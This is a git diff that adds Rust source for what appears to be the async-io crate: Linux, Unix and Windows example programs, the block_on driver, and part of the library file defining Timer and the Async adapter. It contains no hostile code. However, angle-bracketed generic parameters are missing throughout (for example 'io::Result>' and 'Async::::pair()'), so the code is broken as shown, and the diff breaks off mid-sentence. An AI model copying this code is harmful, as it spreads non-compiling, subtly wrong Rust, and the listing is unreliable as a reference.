a/lib/malio/async-io/examples/linux-inotify.rs b/lib/malio/async-io/examples/linux-inotify.rs new file mode 100644 index 0000000..e2d89b2 --- /dev/null +++ b/lib/malio/async-io/examples/linux-inotify.rs @@ -0,0 +1,64 @@ +//! Uses the `inotify` crate to watch for changes in the current directory. +//! +//! Run with: +//! +//! ``` +//! cargo run --example linux-inotify +//! ``` + +#[cfg(target_os = "linux")] +fn main() -> std::io::Result<()> { + use std::ffi::OsString; + use std::io; + + use async_io::Async; + use futures_lite::future; + use inotify::{EventMask, Inotify, WatchMask}; + + type Event = (OsString, EventMask); + + /// Reads some events without blocking. + /// + /// If there are no events, an [`io::ErrorKind::WouldBlock`] error is returned. + fn read_op(inotify: &mut Inotify) -> io::Result> { + let mut buffer = [0; 1024]; + let events = inotify + .read_events(&mut buffer)? + .filter_map(|ev| ev.name.map(|name| (name.to_owned(), ev.mask))) + .collect::>(); + + if events.is_empty() { + Err(io::ErrorKind::WouldBlock.into()) + } else { + Ok(events) + } + } + + future::block_on(async { + // Watch events in the current directory. + let mut inotify = Async::new(Inotify::init()?)?; + + // SAFETY: We do not move the inner file descriptor out. + unsafe { + inotify + .get_mut() + .watches() + .add(".", WatchMask::ALL_EVENTS)?; + } + println!("Watching for filesystem events in the current directory..."); + println!("Try opening a file to trigger some events."); + println!(); + + // Wait for events in a loop and print them on the screen. + loop { + for event in unsafe { inotify.read_with_mut(read_op).await? } { + println!("{event:?}"); + } + } + }) +} + +#[cfg(not(target_os = "linux"))] +fn main() { + println!("This example works only on Linux!"); +} diff --git a/lib/malio/async-io/examples/linux-timerfd.rs b/lib/malio/async-io/examples/linux-timerfd.rs new file mode 100644 index 0000000..05ca38c --- /dev/null +++ b/lib/malio/async-io/examples/linux-timerfd.rs @@ -0,0 +1,55 @@ +//! Uses the `timerfd` crate to sleep using an OS timer. +//! +//! Run with: +//! +//! ``` +//! cargo run --example linux-timerfd +//! ``` + +#[cfg(target_os = "linux")] +fn main() -> std::io::Result<()> { + use std::io; + use std::os::unix::io::AsRawFd; + use std::time::{Duration, Instant}; + + use async_io::Async; + use futures_lite::future; + use rustix::fd::BorrowedFd; + use timerfd::{SetTimeFlags, TimerFd, TimerState}; + + /// Sleeps using an OS timer. + async fn sleep(dur: Duration) -> io::Result<()> { + // Create an OS timer. + let mut timer = TimerFd::new()?; + timer.set_state(TimerState::Oneshot(dur), SetTimeFlags::Default); + + // When the OS timer fires, a 64-bit integer can be read from it. + Async::new(timer)? + .read_with(|t| { + // Safety: We assume `as_raw_fd()` returns a valid fd. When we + // can depend on Rust >= 1.63, where `AsFd` is stabilized, and + // when `TimerFd` implements it, we can remove this unsafe and + // simplify this. + let fd = unsafe { BorrowedFd::borrow_raw(t.as_raw_fd()) }; + rustix::io::read(fd, &mut [0u8; 8]).map_err(io::Error::from) + }) + .await?; + Ok(()) + } + + future::block_on(async { + let start = Instant::now(); + println!("Sleeping..."); + + // Sleep for a second using an OS timer. + sleep(Duration::from_secs(1)).await?; + + println!("Woke up after {:?}", start.elapsed()); + Ok(()) + }) +} + +#[cfg(not(target_os = "linux"))] +fn main() { + println!("This example works only on Linux!"); +} diff --git a/lib/malio/async-io/examples/unix-signal.rs b/lib/malio/async-io/examples/unix-signal.rs new file mode 100644 index 0000000..e712893 --- /dev/null +++ b/lib/malio/async-io/examples/unix-signal.rs @@ -0,0 +1,33 @@ +//! Uses the `signal-hook` crate to catch the Ctrl-C signal. +//! +//! Run with: +//! +//! ``` +//! cargo run --example unix-signal +//! ``` + +#[cfg(unix)] +fn main() -> std::io::Result<()> { + use std::os::unix::{io::AsRawFd, net::UnixStream}; + + use async_io::Async; + use futures_lite::{future, prelude::*}; + + future::block_on(async { + // Create a Unix stream that receives a byte on each signal occurrence. + let (a, mut b) = Async::::pair()?; + signal_hook::low_level::pipe::register_raw(signal_hook::consts::SIGINT, a.as_raw_fd())?; + println!("Waiting for Ctrl-C..."); + + // Receive a byte that indicates the Ctrl-C signal occurred. + b.read_exact(&mut [0]).await?; + + println!("Done!"); + Ok(()) + }) +} + +#[cfg(not(unix))] +fn main() { + println!("This example works only on Unix systems!"); +} diff --git a/lib/malio/async-io/examples/windows-command.rs b/lib/malio/async-io/examples/windows-command.rs new file mode 100644 index 0000000..f8c0ff5 --- /dev/null +++ b/lib/malio/async-io/examples/windows-command.rs @@ -0,0 +1,34 @@ +//! Runs a command using waitable handles on Windows. +//! +//! Run with: +//! +//! ``` +//! cargo run --example windows-command +//! ``` + +#[cfg(windows)] +fn main() -> std::io::Result<()> { + use async_io::os::windows::Waitable; + use std::process::Command; + + futures_lite::future::block_on(async { + // Spawn a process. + let process = Command::new("cmd") + .args(["/C", "echo hello"]) + .spawn() + .expect("failed to spawn process"); + + // Wrap the process in an `Async` object that waits for it to exit. + let process = Waitable::new(process)?; + + // Wait for the process to exit. + process.ready().await?; + + Ok(()) + }) +} + +#[cfg(not(windows))] +fn main() { + println!("This example is only supported on Windows."); +} diff --git a/lib/malio/async-io/examples/windows-uds.rs b/lib/malio/async-io/examples/windows-uds.rs new file mode 100644 index 0000000..0f1bf04 --- /dev/null +++ b/lib/malio/async-io/examples/windows-uds.rs @@ -0,0 +1,127 @@ +//! Uses the `uds_windows` crate to simulate Unix sockets on Windows. +//! +//! Run with: +//! +//! ``` +//! cargo run --example windows-uds +//! ``` + +#[cfg(windows)] +fn main() -> std::io::Result<()> { + use std::ops::Deref; + use std::os::windows::io::{AsRawSocket, AsSocket, BorrowedSocket}; + use std::path::PathBuf; + + use async_io::Async; + use blocking::Unblock; + use futures_lite::{future, prelude::*}; + use std::io; + use tempfile::tempdir; + + // n.b.: notgull: uds_windows does not support I/O safety uet, hence the wrapper types + + struct UnixListener(uds_windows::UnixListener); + + impl From for UnixListener { + fn from(ul: uds_windows::UnixListener) -> Self { + Self(ul) + } + } + + impl Deref for UnixListener { + type Target = uds_windows::UnixListener; + + fn deref(&self) -> &uds_windows::UnixListener { + &self.0 + } + } + + impl AsSocket for UnixListener { + fn as_socket(&self) -> BorrowedSocket<'_> { + unsafe { BorrowedSocket::borrow_raw(self.as_raw_socket()) } + } + } + + struct UnixStream(uds_windows::UnixStream); + + impl From for UnixStream { + fn from(ul: uds_windows::UnixStream) -> Self { + Self(ul) + } + } + + impl Deref for UnixStream { + type Target = uds_windows::UnixStream; + + fn deref(&self) -> &uds_windows::UnixStream { + &self.0 + } + } + + impl AsSocket for UnixStream { + fn as_socket(&self) -> BorrowedSocket<'_> { + unsafe { BorrowedSocket::borrow_raw(self.as_raw_socket()) } + } + } + + impl io::Read for UnixStream { + fn read(&mut self, buf: &mut [u8]) -> io::Result { + io::Read::read(&mut self.0, buf) + } + } + + impl io::Write for UnixStream { + fn write(&mut self, buf: &[u8]) -> io::Result { + io::Write::write(&mut self.0, buf) + } + + fn flush(&mut self) -> io::Result<()> { + io::Write::flush(&mut self.0) + } + } + + unsafe impl async_io::IoSafe for UnixStream {} + + async fn client(addr: PathBuf) -> io::Result<()> { + // Connect to the address. + let stream = Async::new(UnixStream::from(uds_windows::UnixStream::connect(addr)?))?; + println!("Connected to {:?}", stream.get_ref().peer_addr()?); + + // Pipe the stream to stdout. + let mut stdout = Unblock::new(std::io::stdout()); + futures_lite::io::copy(stream, &mut stdout).await?; + Ok(()) + } + + let dir = tempdir()?; + let path = dir.path().join("socket"); + + future::block_on(async { + // Create a listener. + let listener = Async::new(UnixListener::from(uds_windows::UnixListener::bind(&path)?))?; + println!("Listening on {:?}", listener.get_ref().local_addr()?); + + future::try_zip( + async { + // Accept the client. + let (stream, _) = listener.read_with(|l| l.accept()).await?; + println!("Accepted a client"); + + // Send a message, drop the stream, and wait for the client. + Async::new(UnixStream::from(stream))? + .write_all(b"Hello!\n") + .await?; + Ok(()) + }, + client(path), + ) + .await?; + + Ok(()) + }) +} + +#[cfg(not(windows))] +fn main() { + println!("This example works only on Windows!"); +} diff --git a/lib/malio/async-io/src/driver.rs b/lib/malio/async-io/src/driver.rs new file mode 100644 index 0000000..73ec4cb --- /dev/null +++ b/lib/malio/async-io/src/driver.rs @@ -0,0 +1,303 @@ +use std::cell::{Cell, RefCell}; +use std::future::Future; +use std::pin::pin; +use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering}; +use std::sync::{Arc, OnceLock}; +use std::task::{Context, Poll, Waker}; +use std::thread; +use std::time::{Duration, Instant}; + +use parking::Parker; + +use crate::reactor::Reactor; + +/// Number of currently active `block_on()` invocations. +static BLOCK_ON_COUNT: AtomicUsize = AtomicUsize::new(0); + +/// Unparker for the "async-io" thread. +fn unparker() -> &'static parking::Unparker { + static UNPARKER: OnceLock = OnceLock::new(); + + UNPARKER.get_or_init(|| { + let (parker, unparker) = parking::pair(); + + // Spawn a helper thread driving the reactor. + // + // Note that this thread is not exactly necessary, it's only here to help push things + // forward if there are no `Parker`s around or if `Parker`s are just idling and never + // parking. + thread::Builder::new() + .name("async-io".to_string()) + .spawn(move || main_loop(parker)) + .expect("cannot spawn async-io thread"); + + unparker + }) +} + +/// Initializes the "async-io" thread. +pub(crate) fn init() { + let _ = unparker(); +} + +/// The main loop for the "async-io" thread. +fn main_loop(parker: parking::Parker) { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!("async_io::main_loop"); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + // The last observed reactor tick. + let mut last_tick = 0; + // Number of sleeps since this thread has called `react()`. + let mut sleeps = 0u64; + + loop { + let tick = Reactor::get().ticker(); + + if last_tick == tick { + let reactor_lock = if sleeps >= 10 { + // If no new ticks have occurred for a while, stop sleeping and spinning in + // this loop and just block on the reactor lock. + Some(Reactor::get().lock()) + } else { + Reactor::get().try_lock() + }; + + if let Some(mut reactor_lock) = reactor_lock { + #[cfg(feature = "tracing")] + tracing::trace!("waiting on I/O"); + reactor_lock.react(None).ok(); + last_tick = Reactor::get().ticker(); + sleeps = 0; + } + } else { + last_tick = tick; + } + + if BLOCK_ON_COUNT.load(Ordering::SeqCst) > 0 { + // Exponential backoff from 50us to 10ms. + let delay_us = [50, 75, 100, 250, 500, 750, 1000, 2500, 5000] + .get(sleeps as usize) + .unwrap_or(&10_000); + + #[cfg(feature = "tracing")] + tracing::trace!("sleeping for {} us", delay_us); + if parker.park_timeout(Duration::from_micros(*delay_us)) { + #[cfg(feature = "tracing")] + tracing::trace!("notified"); + + // If notified before timeout, reset the last tick and the sleep counter. + last_tick = Reactor::get().ticker(); + sleeps = 0; + } else { + sleeps += 1; + } + } + } +} + +/// Blocks the current thread on a future, processing I/O events when idle. +/// +/// # Examples +/// +/// ``` +/// use async_io::Timer; +/// use std::time::Duration; +/// +/// async_io::block_on(async { +/// // This timer will likely be processed by the current +/// // thread rather than the fallback "async-io" thread. +/// Timer::after(Duration::from_millis(1)).await; +/// }); +/// ``` +pub fn block_on(future: impl Future) -> T { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!("async_io::block_on"); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + // Increment `BLOCK_ON_COUNT` so that the "async-io" thread becomes less aggressive. + BLOCK_ON_COUNT.fetch_add(1, Ordering::SeqCst); + + // Make sure to decrement `BLOCK_ON_COUNT` at the end and wake the "async-io" thread. + let _guard = CallOnDrop(|| { + BLOCK_ON_COUNT.fetch_sub(1, Ordering::SeqCst); + unparker().unpark(); + }); + + // Creates a parker and an associated waker that unparks it. + fn parker_and_waker() -> (Parker, Waker, Arc) { + // Parker and unparker for notifying the current thread. + let (p, u) = parking::pair(); + + // This boolean is set to `true` when the current thread is blocked on I/O. + let io_blocked = Arc::new(AtomicBool::new(false)); + + // Prepare the waker. + let waker = BlockOnWaker::create(io_blocked.clone(), u); + + (p, waker, io_blocked) + } + + thread_local! { + // Cached parker and waker for efficiency. + static CACHE: RefCell<(Parker, Waker, Arc)> = RefCell::new(parker_and_waker()); + + // Indicates that the current thread is polling I/O, but not necessarily blocked on it. + static IO_POLLING: Cell = const { Cell::new(false) }; + } + + struct BlockOnWaker { + io_blocked: Arc, + unparker: parking::Unparker, + } + + impl BlockOnWaker { + fn create(io_blocked: Arc, unparker: parking::Unparker) -> Waker { + Waker::from(Arc::new(BlockOnWaker { + io_blocked, + unparker, + })) + } + } + + impl std::task::Wake for BlockOnWaker { + fn wake_by_ref(self: &Arc) { + if self.unparker.unpark() { + // Check if waking from another thread and if currently blocked on I/O. + if !IO_POLLING.with(Cell::get) && self.io_blocked.load(Ordering::SeqCst) { + Reactor::get().notify(); + } + } + } + + fn wake(self: Arc) { + self.wake_by_ref() + } + } + + CACHE.with(|cache| { + // Try grabbing the cached parker and waker. + let tmp_cached; + let tmp_fresh; + let (p, waker, io_blocked) = match cache.try_borrow_mut() { + Ok(cache) => { + // Use the cached parker and waker. + tmp_cached = cache; + &*tmp_cached + } + Err(_) => { + // Looks like this is a recursive `block_on()` call. + // Create a fresh parker and waker. + tmp_fresh = parker_and_waker(); + &tmp_fresh + } + }; + + let mut future = pin!(future); + + let cx = &mut Context::from_waker(waker); + + loop { + // Poll the future. + if let Poll::Ready(t) = future.as_mut().poll(cx) { + // Ensure the cached parker is reset to the unnotified state for future block_on calls, + // in case this future called wake and then immediately returned Poll::Ready. + p.park_timeout(Duration::from_secs(0)); + #[cfg(feature = "tracing")] + tracing::trace!("completed"); + return t; + } + + // Check if a notification was received. + if p.park_timeout(Duration::from_secs(0)) { + #[cfg(feature = "tracing")] + tracing::trace!("notified"); + + // Try grabbing a lock on the reactor to process I/O events. + if let Some(mut reactor_lock) = Reactor::get().try_lock() { + // First let wakers know this parker is processing I/O events. + IO_POLLING.with(|io| io.set(true)); + let _guard = CallOnDrop(|| { + IO_POLLING.with(|io| io.set(false)); + }); + + // Process available I/O events. + reactor_lock.react(Some(Duration::from_secs(0))).ok(); + } + continue; + } + + // Try grabbing a lock on the reactor to wait on I/O. + if let Some(mut reactor_lock) = Reactor::get().try_lock() { + // Record the instant at which the lock was grabbed. + let start = Instant::now(); + + loop { + // First let wakers know this parker is blocked on I/O. + IO_POLLING.with(|io| io.set(true)); + io_blocked.store(true, Ordering::SeqCst); + let _guard = CallOnDrop(|| { + IO_POLLING.with(|io| io.set(false)); + io_blocked.store(false, Ordering::SeqCst); + }); + + // Check if a notification has been received before `io_blocked` was updated + // because in that case the reactor won't receive a wakeup. + if p.park_timeout(Duration::from_secs(0)) { + #[cfg(feature = "tracing")] + tracing::trace!("notified"); + break; + } + + // Wait for I/O events. + #[cfg(feature = "tracing")] + tracing::trace!("waiting on I/O"); + reactor_lock.react(None).ok(); + + // Check if a notification has been received. + if p.park_timeout(Duration::from_secs(0)) { + #[cfg(feature = "tracing")] + tracing::trace!("notified"); + break; + } + + // Check if this thread been handling I/O events for a long time. + if start.elapsed() > Duration::from_micros(500) { + #[cfg(feature = "tracing")] + tracing::trace!("stops hogging the reactor"); + + // This thread is clearly processing I/O events for some other threads + // because it didn't get a notification yet. It's best to stop hogging the + // reactor and give other threads a chance to process I/O events for + // themselves. + drop(reactor_lock); + + // Unpark the "async-io" thread in case no other thread is ready to start + // processing I/O events. This way we prevent a potential latency spike. + unparker().unpark(); + + // Wait for a notification. + p.park(); + break; + } + } + } else { + // Wait for an actual notification. + #[cfg(feature = "tracing")] + tracing::trace!("sleep until notification"); + p.park(); + } + } + }) +} + +/// Runs a closure when dropped. +struct CallOnDrop(F); + +impl Drop for CallOnDrop { + fn drop(&mut self) { + (self.0)(); + } +} diff --git a/lib/malio/async-io/src/lib.rs b/lib/malio/async-io/src/lib.rs new file mode 100644 index 0000000..f080d46 --- /dev/null +++ b/lib/malio/async-io/src/lib.rs @@ -0,0 +1,2241 @@ +//! Async I/O and timers. +//! +//! This crate provides two tools: +//! +//! * [`Async`], an adapter for standard networking types (and [many other] types) to use in +//! async programs. +//! * [`Timer`], a future or stream that emits timed events. +//! +//! For concrete async networking types built on top of this crate, see [`async-net`]. +//! +//! [many other]: https://github.com/smol-rs/async-io/tree/master/examples +//! [`async-net`]: https://docs.rs/async-net +//! +//! # Implementation +//! +//! The first time [`Async`] or [`Timer`] is used, a thread named "async-io" will be spawned. +//! The purpose of this thread is to wait for I/O events reported by the operating system, and then +//! wake appropriate futures blocked on I/O or timers when they can be resumed. +//! +//! To wait for the next I/O event, the "async-io" thread uses [epoll] on Linux/Android/illumos, +//! [kqueue] on macOS/iOS/BSD, [event ports] on illumos/Solaris, and [IOCP] on Windows. That +//! functionality is provided by the [`polling`] crate. +//! +//! However, note that you can also process I/O events and wake futures on any thread using the +//! [`block_on()`] function. The "async-io" thread is therefore just a fallback mechanism +//! processing I/O events in case no other threads are. +//! +//! [epoll]: https://en.wikipedia.org/wiki/Epoll +//! [kqueue]: https://en.wikipedia.org/wiki/Kqueue +//! [event ports]: https://illumos.org/man/port_create +//! [IOCP]: https://learn.microsoft.com/en-us/windows/win32/fileio/i-o-completion-ports +//! [`polling`]: https://docs.rs/polling +//! +//! # Examples +//! +//! Connect to `example.com:80`, or time out after 10 seconds. +//! +//! ``` +//! use async_io::{Async, Timer}; +//! use futures_lite::{future::FutureExt, io}; +//! +//! use std::net::{TcpStream, ToSocketAddrs}; +//! use std::time::Duration; +//! +//! # futures_lite::future::block_on(async { +//! let addr = "example.com:80".to_socket_addrs()?.next().unwrap(); +//! +//! let stream = Async::::connect(addr).or(async { +//! Timer::after(Duration::from_secs(10)).await; +//! Err(io::ErrorKind::TimedOut.into()) +//! }) +//! .await?; +//! # std::io::Result::Ok(()) }); +//! ``` + +#![warn(missing_docs, missing_debug_implementations, rust_2018_idioms)] +#![doc( + html_favicon_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] +#![doc( + html_logo_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] + +use std::future::{poll_fn, Future}; +use std::io::{self, IoSlice, IoSliceMut, Read, Write}; +use std::net::{SocketAddr, TcpListener, TcpStream, UdpSocket}; +use std::pin::{pin, Pin}; +use std::sync::Arc; +use std::task::{ready, Context, Poll, Waker}; +use std::time::{Duration, Instant}; + +#[cfg(unix)] +use std::{ + os::unix::io::{AsFd, AsRawFd, BorrowedFd, OwnedFd, RawFd}, + os::unix::net::{SocketAddr as UnixSocketAddr, UnixDatagram, UnixListener, UnixStream}, + path::Path, +}; + +#[cfg(windows)] +use std::os::windows::io::{AsRawSocket, AsSocket, BorrowedSocket, OwnedSocket, RawSocket}; + +use futures_io::{AsyncRead, AsyncWrite}; +use futures_lite::stream::{self, Stream}; + +use rustix::io as rio; +use rustix::net as rn; +use rustix::net::addr::SocketAddrArg; + +use crate::reactor::{Reactor, Registration, Source}; + +mod driver; +mod reactor; + +pub mod os; + +pub use driver::block_on; +pub use reactor::{Readable, ReadableOwned, Writable, WritableOwned}; + +/// A future or stream that emits timed events. +/// +/// Timers are futures that output a single [`Instant`] when they fire. +/// +/// Timers are also streams that can output [`Instant`]s periodically. +/// +/// # Precision +/// +/// There is a limit on the maximum precision that a `Timer` can provide. This limit is +/// dependent on the current platform; for instance, on Windows, the maximum precision is +/// about 16 milliseconds. Because of this limit, the timer may sleep for longer than the +/// requested duration. It will never sleep for less. +/// +/// # Examples +/// +/// Sleep for 1 second: +/// +/// ``` +/// use async_io::Timer; +/// use std::time::Duration; +/// +/// # futures_lite::future::block_on(async { +/// Timer::after(Duration::from_secs(1)).await; +/// # }); +/// ``` +/// +/// Timeout after 1 second: +/// +/// ``` +/// use async_io::Timer; +/// use futures_lite::FutureExt; +/// use std::time::Duration; +/// +/// # futures_lite::future::block_on(async { +/// let addrs = async_net::resolve("google.com:80") +/// .or(async { +/// Timer::after(Duration::from_secs(1)).await; +/// Err(std::io::ErrorKind::TimedOut.into()) +/// }) +/// .await?; +/// # std::io::Result::Ok(()) }); +/// ``` +#[doc(alias = "sleep")] +#[doc(alias = "timeout")] +#[derive(Debug)] +pub struct Timer { + /// This timer's ID and last waker that polled it. + /// + /// When this field is set to `None`, this timer is not registered in the reactor. + id_and_waker: Option<(usize, Waker)>, + + /// The next instant at which this timer fires. + /// + /// If this timer is a blank timer, this value is None. If the timer + /// must be set, this value contains the next instant at which the + /// timer must fire. + when: Option, + + /// The period. + period: Duration, +} + +impl Timer { + /// Creates a timer that will never fire. + /// + /// # Examples + /// + /// This function may also be useful for creating a function with an optional timeout. + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_io::Timer; + /// use futures_lite::prelude::*; + /// use std::time::Duration; + /// + /// async fn run_with_timeout(timeout: Option) { + /// let timer = timeout + /// .map(|timeout| Timer::after(timeout)) + /// .unwrap_or_else(Timer::never); + /// + /// run_lengthy_operation().or(timer).await; + /// } + /// # // Note that since a Timer as a Future returns an Instant, + /// # // this function needs to return an Instant to be used + /// # // in "or". + /// # async fn run_lengthy_operation() -> std::time::Instant { + /// # std::time::Instant::now() + /// # } + /// + /// // Times out after 5 seconds. + /// run_with_timeout(Some(Duration::from_secs(5))).await; + /// // Does not time out. + /// run_with_timeout(None).await; + /// # }); + /// ``` + pub fn never() -> Timer { + Timer { + id_and_waker: None, + when: None, + period: Duration::MAX, + } + } + + /// Creates a timer that emits an event once after the given duration of time. + /// + /// # Examples + /// + /// ``` + /// use async_io::Timer; + /// use std::time::Duration; + /// + /// # futures_lite::future::block_on(async { + /// Timer::after(Duration::from_secs(1)).await; + /// # }); + /// ``` + pub fn after(duration: Duration) -> Timer { + Instant::now() + .checked_add(duration) + .map_or_else(Timer::never, Timer::at) + } + + /// Creates a timer that emits an event once at the given time instant. + /// + /// # Examples + /// + /// ``` + /// use async_io::Timer; + /// use std::time::{Duration, Instant}; + /// + /// # futures_lite::future::block_on(async { + /// let now = Instant::now(); + /// let when = now + Duration::from_secs(1); + /// Timer::at(when).await; + /// # }); + /// ``` + pub fn at(instant: Instant) -> Timer { + Timer::interval_at(instant, Duration::MAX) + } + + /// Creates a timer that emits events periodically. + /// + /// # Examples + /// + /// ``` + /// use async_io::Timer; + /// use futures_lite::StreamExt; + /// use std::time::{Duration, Instant}; + /// + /// # futures_lite::future::block_on(async { + /// let period = Duration::from_secs(1); + /// Timer::interval(period).next().await; + /// # }); + /// ``` + pub fn interval(period: Duration) -> Timer { + Instant::now() + .checked_add(period) + .map_or_else(Timer::never, |at| Timer::interval_at(at, period)) + } + + /// Creates a timer that emits events periodically, starting at `start`. + /// + /// # Examples + /// + /// ``` + /// use async_io::Timer; + /// use futures_lite::StreamExt; + /// use std::time::{Duration, Instant}; + /// + /// # futures_lite::future::block_on(async { + /// let start = Instant::now(); + /// let period = Duration::from_secs(1); + /// Timer::interval_at(start, period).next().await; + /// # }); + /// ``` + pub fn interval_at(start: Instant, period: Duration) -> Timer { + Timer { + id_and_waker: None, + when: Some(start), + period, + } + } + + /// Indicates whether or not this timer will ever fire. + /// + /// [`never()`] will never fire, and timers created with [`after()`] or [`at()`] will fire + /// if the duration is not too large. + /// + /// [`never()`]: Timer::never() + /// [`after()`]: Timer::after() + /// [`at()`]: Timer::at() + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_io::Timer; + /// use futures_lite::prelude::*; + /// use std::time::Duration; + /// + /// // `never` will never fire. + /// assert!(!Timer::never().will_fire()); + /// + /// // `after` will fire if the duration is not too large. + /// assert!(Timer::after(Duration::from_secs(1)).will_fire()); + /// assert!(!Timer::after(Duration::MAX).will_fire()); + /// + /// // However, once an `after` timer has fired, it will never fire again. + /// let mut t = Timer::after(Duration::from_secs(1)); + /// assert!(t.will_fire()); + /// (&mut t).await; + /// assert!(!t.will_fire()); + /// + /// // Interval timers will fire periodically. + /// let mut t = Timer::interval(Duration::from_secs(1)); + /// assert!(t.will_fire()); + /// t.next().await; + /// assert!(t.will_fire()); + /// # }); + /// ``` + #[inline] + pub fn will_fire(&self) -> bool { + self.when.is_some() + } + + /// Sets the timer to emit an event once after the given duration of time. + /// + /// Note that resetting a timer is different from creating a new timer because + /// [`set_after()`][`Timer::set_after()`] does not remove the waker associated with the task + /// that is polling the timer. + /// + /// # Examples + /// + /// ``` + /// use async_io::Timer; + /// use std::time::Duration; + /// + /// # futures_lite::future::block_on(async { + /// let mut t = Timer::after(Duration::from_secs(1)); + /// t.set_after(Duration::from_millis(100)); + /// # }); + /// ``` + pub fn set_after(&mut self, duration: Duration) { + match Instant::now().checked_add(duration) { + Some(instant) => self.set_at(instant), + None => { + // Overflow to never going off. + self.clear(); + } + } + } + + /// Sets the timer to emit an event once at the given time instant. + /// + /// Note that resetting a timer is different from creating a new timer because + /// [`set_at()`][`Timer::set_at()`] does not remove the waker associated with the task + /// that is polling the timer. + /// + /// # Examples + /// + /// ``` + /// use async_io::Timer; + /// use std::time::{Duration, Instant}; + /// + /// # futures_lite::future::block_on(async { + /// let mut t = Timer::after(Duration::from_secs(1)); + /// + /// let now = Instant::now(); + /// let when = now + Duration::from_secs(1); + /// t.set_at(when); + /// # }); + /// ``` + pub fn set_at(&mut self, instant: Instant) { + self.clear(); + + // Update the timeout. + self.when = Some(instant); + + if let Some((id, waker)) = self.id_and_waker.as_mut() { + // Re-register the timer with the new timeout. + *id = Reactor::get().insert_timer(instant, waker); + } + } + + /// Sets the timer to emit events periodically. + /// + /// Note that resetting a timer is different from creating a new timer because + /// [`set_interval()`][`Timer::set_interval()`] does not remove the waker associated with the + /// task that is polling the timer. + /// + /// # Examples + /// + /// ``` + /// use async_io::Timer; + /// use futures_lite::StreamExt; + /// use std::time::{Duration, Instant}; + /// + /// # futures_lite::future::block_on(async { + /// let mut t = Timer::after(Duration::from_secs(1)); + /// + /// let period = Duration::from_secs(2); + /// t.set_interval(period); + /// # }); + /// ``` + pub fn set_interval(&mut self, period: Duration) { + match Instant::now().checked_add(period) { + Some(instant) => self.set_interval_at(instant, period), + None => { + // Overflow to never going off. + self.clear(); + } + } + } + + /// Sets the timer to emit events periodically, starting at `start`. + /// + /// Note that resetting a timer is different from creating a new timer because + /// [`set_interval_at()`][`Timer::set_interval_at()`] does not remove the waker associated with + /// the task that is polling the timer. + /// + /// # Examples + /// + /// ``` + /// use async_io::Timer; + /// use futures_lite::StreamExt; + /// use std::time::{Duration, Instant}; + /// + /// # futures_lite::future::block_on(async { + /// let mut t = Timer::after(Duration::from_secs(1)); + /// + /// let start = Instant::now(); + /// let period = Duration::from_secs(2); + /// t.set_interval_at(start, period); + /// # }); + /// ``` + pub fn set_interval_at(&mut self, start: Instant, period: Duration) { + self.clear(); + + self.when = Some(start); + self.period = period; + + if let Some((id, waker)) = self.id_and_waker.as_mut() { + // Re-register the timer with the new timeout. + *id = Reactor::get().insert_timer(start, waker); + } + } + + /// Clear any timeouts set on this timer. It will never fire again until a new interval or instant is set. + pub fn clear(&mut self) { + if let (Some(when), Some((id, _))) = (self.when, self.id_and_waker.as_ref()) { + // Deregister the timer from the reactor. + Reactor::get().remove_timer(when, *id); + } + self.when = None; + } +} + +impl Drop for Timer { + fn drop(&mut self) { + if let (Some(when), Some((id, _))) = (self.when, self.id_and_waker.take()) { + // Deregister the timer from the reactor. + Reactor::get().remove_timer(when, id); + } + } +} + +impl Future for Timer { + type Output = Instant; + + fn poll(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + match self.poll_next(cx) { + Poll::Ready(Some(when)) => Poll::Ready(when), + Poll::Pending => Poll::Pending, + Poll::Ready(None) => unreachable!(), + } + } +} + +impl Stream for Timer { + type Item = Instant; + + fn poll_next(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + let this = self.get_mut(); + + if let Some(ref mut when) = this.when { + // Check if the timer has already fired. + if Instant::now() >= *when { + if let Some((id, _)) = this.id_and_waker.take() { + // Deregister the timer from the reactor. + Reactor::get().remove_timer(*when, id); + } + let result_time = *when; + if let Some(next) = (*when).checked_add(this.period) { + *when = next; + // Register the timer in the reactor. + let id = Reactor::get().insert_timer(next, cx.waker()); + this.id_and_waker = Some((id, cx.waker().clone())); + } else { + this.when = None; + } + return Poll::Ready(Some(result_time)); + } else { + match &this.id_and_waker { + None => { + // Register the timer in the reactor. + let id = Reactor::get().insert_timer(*when, cx.waker()); + this.id_and_waker = Some((id, cx.waker().clone())); + } + Some((id, w)) if !w.will_wake(cx.waker()) => { + // Deregister the timer from the reactor to remove the old waker. + Reactor::get().remove_timer(*when, *id); + + // Register the timer in the reactor with the new waker. + let id = Reactor::get().insert_timer(*when, cx.waker()); + this.id_and_waker = Some((id, cx.waker().clone())); + } + Some(_) => {} + } + } + } + + Poll::Pending + } +} + +/// Async adapter for I/O types. +/// +/// This type puts an I/O handle into non-blocking mode, registers it in +/// [epoll]/[kqueue]/[event ports]/[IOCP], and then provides an async interface for it. +/// +/// [epoll]: https://en.wikipedia.org/wiki/Epoll +/// [kqueue]: https://en.wikipedia.org/wiki/Kqueue +/// [event ports]: https://illumos.org/man/port_create +/// [IOCP]: https://learn.microsoft.com/en-us/windows/win32/fileio/i-o-completion-ports +/// +/// # Caveats +/// +/// [`Async`] is a low-level primitive, and as such it comes with some caveats. +/// +/// For higher-level primitives built on top of [`Async`], look into [`async-net`] or +/// [`async-process`] (on Unix). +/// +/// The most notable caveat is that it is unsafe to access the inner I/O source mutably +/// using this primitive. Traits likes [`AsyncRead`] and [`AsyncWrite`] are not implemented by +/// default unless it is guaranteed that the resource won't be invalidated by reading or writing. +/// See the [`IoSafe`] trait for more information. +/// +/// [`async-net`]: https://github.com/smol-rs/async-net +/// [`async-process`]: https://github.com/smol-rs/async-process +/// [`AsyncRead`]: https://docs.rs/futures-io/latest/futures_io/trait.AsyncRead.html +/// [`AsyncWrite`]: https://docs.rs/futures-io/latest/futures_io/trait.AsyncWrite.html +/// +/// ### Supported types +/// +/// [`Async`] supports all networking types, as well as some OS-specific file descriptors like +/// [timerfd] and [inotify]. +/// +/// However, do not 